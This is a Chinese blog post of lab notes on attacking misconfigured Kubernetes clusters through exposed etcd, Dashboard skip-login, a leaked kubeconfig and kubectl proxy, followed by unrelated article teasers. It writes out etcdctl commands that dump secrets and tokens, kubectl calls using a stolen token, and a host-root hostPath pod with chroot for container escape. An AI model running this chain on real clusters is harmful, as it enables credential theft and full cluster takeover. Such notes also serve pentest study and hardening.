云原生K8Sconfing泄露etcdproxy

news/2025/1/17 11:50:53/文章来源:https://www.cnblogs.com/lusang/p/18676661



一、Etcd未授权访问

攻击port:2379;默认通过证书认证,主要存放节点的数据,如一些token证书。

第一种情况
没有配置--client-cert-path参数打开证书验证(或者改为false),暴露外Etcd服务存在未授权访问风险;
暴露外部可以访问,直接未授权访问获取secrets和token利用;
第二种
在打开证书校验选项后,通过本地127.0.0.1:2379可免认证访问Etcd服务,但通过其他地址访问要携带cert(证书)进行认证访问,一般配合ssrf或其他利用,较为鸡肋。
-只能本地访问,直接未授权访问获取secrets和token利用
第三种
实战中在安装k8s默认的配置2379只会监听本地(127.0.0.1),如果访问没设置0.0.0.0暴露,那么也就意味着最多就是本地访问,不能公网访问,只能配合ssrf或其他。
-只能本地访问,利用ssrf或其他进行获取secrets和token利用复现搭建
https://www.cnblogs.com/qtzd/p/k8s_etcd.html
复现:
暴露etcd未授权-->获取secrets&token->通过token访问API-Server接管
SSRF解决限制访问->获取secrets&token->通过token访问API-Server接管
V2/V3版本利用参考:

v2
https://www.cnblogs.com/qtzd/p/k8s_etcd.html
直接访问http://ip:2379/v2/keys/?recursive=true ,
可以看到所有的key-value值。(secrets token)
V3:
https://www.wangan.com/p/7fy7f81f02d9563a
etcdV3版本利用
安装etcdctl
https://github.com/etcd-io/etcd/releases安装kubectl
https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux1、连接提交测试
./etcdctl --endpoints=192.168.139.136:23791 get / --prefix
./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey1 "Hello world1"
./etcdctl --
endpoints=192.168.139.136:23791 put /testdir/testkey2 "Hello world2"
./etcdctl --
endpoints=192.168.139.136:23791 put /testdir/testkey3 "Hello world3"
2、获取k8s的secrets
./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/3、读取service account token
./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/kube-system/clusterrole./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/kube-system/clusterrole
./etcdctl --endpoints=192.168.139.136:23791 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z4、通过token访问API-Server,获取集群的权限4、通过token访问API-Server,获取集群的权限
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="ey..." -n kube-system get podsSsrf解决限制访问->获取Secrets&Token->通过Token访问Api-Server接管

二、Dashboard未授权访问

默认端口:8001(一般会被映射成别的端口)
配置不当导致dashboard未授权访问,通过dashboard我们可以控制整个集群。
kubernetes dashboard的未授权其实分两种情况:
一种是在本身就存在着不需要登录的http接口,但接口本身并不会暴露出来,如接口被暴露在外,就会导致dashboard未授权。
另外一种情况则是开发嫌登录麻烦,修改了配置文件,使得安全接口https的dashboard页面可以跳过登录。
复现利用
前提条件

用户开启enable-skip-login时可以在登录界面点击跳过登录进dashboard
Kubernetes-dashboard绑定cluster-admin(拥有管理集群的最高权限)1、安装
https://blog.csdn.net/justlpf/article/details/130718774
2、启动
kubectl create -f recommended.yam
3、卸载
kubectl delete -f recommended.yaml4、查看状态
kubectl get pod,svc -n kubernetes-dashboard5、利用
新增Pod后续同前面利用一致
apiVersion: v1 kind: Pod metadata: name: xiaodisec spec: containers: image: nginx name: xiaodisec volumeMounts: - mountPath: /mnt name: test-volume volumes: - name: test-volume hostPath: path: /
\找到暴露面板->dashboard跳过-创建或上传pod->进入pod执行-利用挂载逃逸

三、Configfile鉴权文件泄露

攻击者通过Webshell、Github等拿到了K8s配置的Config文件,操作集群,从而接管所有容器。
K8s configfile作为K8s集群的管理凭证,其中包含有关K8s集群的详细信息(API Server、登录凭证)。
如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到Github的代码等),就可以直接通过API Server接管K8s集群,带来风险隐患。用户凭证保存
在kubeconfig文件中,通过以下顺序来找到kubeconfig文件:
-如果提供了--kubeconfig参数,就使用提供的kubeconfig文件
-如果没有提供--kubeconfig参数,但设置了环境变量$KUBECONFIG,则使用该环境变量提供的kubeconfig文件
-如果以上两种情况都没有,kubectl就使用默认的kubeconfig文件~/.kube/config

复现利用
K8s-configfile->创建Pod/挂载主机路径->Kubectl进入容器->利用挂载逃逸1、将获取到的config复制
2、安装kubectl使用config连接
安装kubectl:https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux连接:kubectl -s https://192.168.139.130:6443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes
3、上传利用test.yaml创建pod
kubectl apply -f test.yaml -n default --kubeconfig=config4、连接pod后进行容器挂载逃逸
kubectl exec -it xiaodisec bash -n default --kubeconfig=config
cd /mnt
chroot . bash

四、Kubetctl Proxy不安全配置

运维人员需要某个环境暴露端口或者IP时,会用到Kubectl Proxy
使用kubectl proxy命令就可以使API server监听在本地的xxxx端口上
复现利用

类似某个不需认证的服务应用只能本地访问被代理出去后形成了外部攻击入口点。
找到暴露入口点,根据类型选择合适方案kubectl -s http://192.168.139.130:8009 get pods -n kube-system

参考文章。

https://www.cnblogs.com/loveqixin/p/18654996
https://www.cnblogs.com/qtzd/p/k8s_etcd.html
https://www.wangan.com/p/7fy7f81f02d9563a

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/870720.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2024年微信公众号收到赞赏6487.50

等了好久的微信公众号2024年创作回顾终于推送了,这是一个针对微信公众号创作的年终总结,如果没有记错的话应该是微信公众号推送年终总结的第二年。2023年的完整总结数据在这里:「我的2023年公众号创作数据分享」,在这份总结里我发现了许多有趣的数据,例如2023年全年一共发…

rpm安装clickhouse(24.11.8.5单机)

环境:OS:Centos 7db:24.11.8.5 1.下载安装介质下载地址为:https://packagecloud.io/Altinity/clickhouse或是这里下载https://mirrors.tuna.tsinghua.edu.cn/clickhouse/rpm/stable/x86_64/ 我这里下载的是如下三个包clickhouse-client-24.8.11.5.noarch.rpmclickhouse-common-…

不知道怎么坏的,但是修好了。修一个吉他数字效果器!

本文介绍了ZOOM G1 Four数字效果器不开机故障的分析和排除。涉及到上电时序的分析。孤独摇滚看上头 吉他梦碎效果器 两年前看孤独摇滚上头入手了电吉他。家贫,配的是海鲜市场买的ZOOM G1 Four数字效果器。这里简单介绍一下他的供电方案,有4节1.5V干电池,9V内负外正的DC插座,…

VUE反向代理怎么配置?如何防止本地开发时接口调用跨域问题?

在vue开发中,经常会遇到跨域问题。那么比较常见的前端处理方法就是配置反向代理,如何配置呢? 1.前往根目录,创建vue.config.js文件; 2.编写配置:1 const path = require(path);2 // const ZipPlugin = require(zip-webpack-plugin);3 let zipName = dist;4 module.export…

【ABKing】记一次Python SSTI的内存马技术研究

通过对Python SSTI的技术研究,发现网上的一些Payload具有局限性,并非能直接使用,踩了一些坑,写出了自己的独创Payload 0x00 起因 有个用户单位反馈,HW期间被攻击队打了个RCE,并且提供了攻击队的报告和防火墙的流量。正好临近年关,闲来无事,想到已经很久没有认真钻研技术…

查询SQL Server更改记录的语句-170315

指定数据库,然后: select Name,Create_date,Modify_Date from sys.objects where type in (U,P, V,F, TR, FN) order by Modify_Date desc.zstitle { width: 280px; text-align: center; font-size: 26px } .zsimgweixin { width: 280px } .zsimgali { width: 280px; paddin…

三层24千兆+4万兆光电可选网管型嵌入式交换机核心模块SW-24G4F-301EM

交换机核心模块,三层交换机模块,嵌入式交换机,网管型交换机,SW-24G4F-301EM先来解读一下标题,这是一款交换机核心模块,也就是交换机的核心部分模块化了;方便为了嵌入式集成;是管理型(也就是核心模块带了软件,对应底板结合自身板框,根据参考设计随性设计),还是三层管理;可以最…

SQL-按自定义格式进行编号的SQL自定义函数.090119

生成格式如:DT.EMP.0000000001的自增emp_id, 加入EmpBaseINfo表中。 --生成格式如DT.EMP.0000000001 【Vegas Add】 ALTERFUNCTION[dbo].[Get_EmpBaseInfo_AccountID](@RowIDasint) RETURNSnvarchar(50) as begin declare@oidnvarchar(50) declare@headStrnvarc…

C#中如何使用异步编程

在 C# 中,异步编程主要通过 async 和 await 关键字来实现。异步编程的目的是让程序在执行耗时操作(如 I/O 操作、网络请求等)时不会阻塞主线程,从而提高程序的性能。 1. 异步编程的核心概念 async 关键字用于标记一个方法为异步方法。 异步方法的返回类型通常是 Task、Task…

windows安装tomcat10.240108

​下载安装jdk17 :jdk-17_windows-x64_bin.exe 配置JAVA环境变量 JAVA_HOME:C:\Program Files\Java\jdk-17 PATH:%Java_Home%\bin;%Java_Home%\jre\bin;拷贝tomcat10(下载地址:https://tomcat.apache.org/)到目录,设置环境变量 CATALINA_HOME:D:\apache-tomcat-10.1.12…

21岁前简单谈谈工作过的暑假工兼职

21岁前简单谈谈工作过的暑假工/兼职 第一份工作,小时工: 小学:亲戚厂里忙,找了一堆小孩去帮忙,干了5个小时左右,就是把不知名的明星的的圆形半身照塞进一个纸袋里,应该是谷子或者代言。收货第一桶金,不到100,好像是70左右,后面还是上交了。 第二份: 亲戚让我辅导他儿…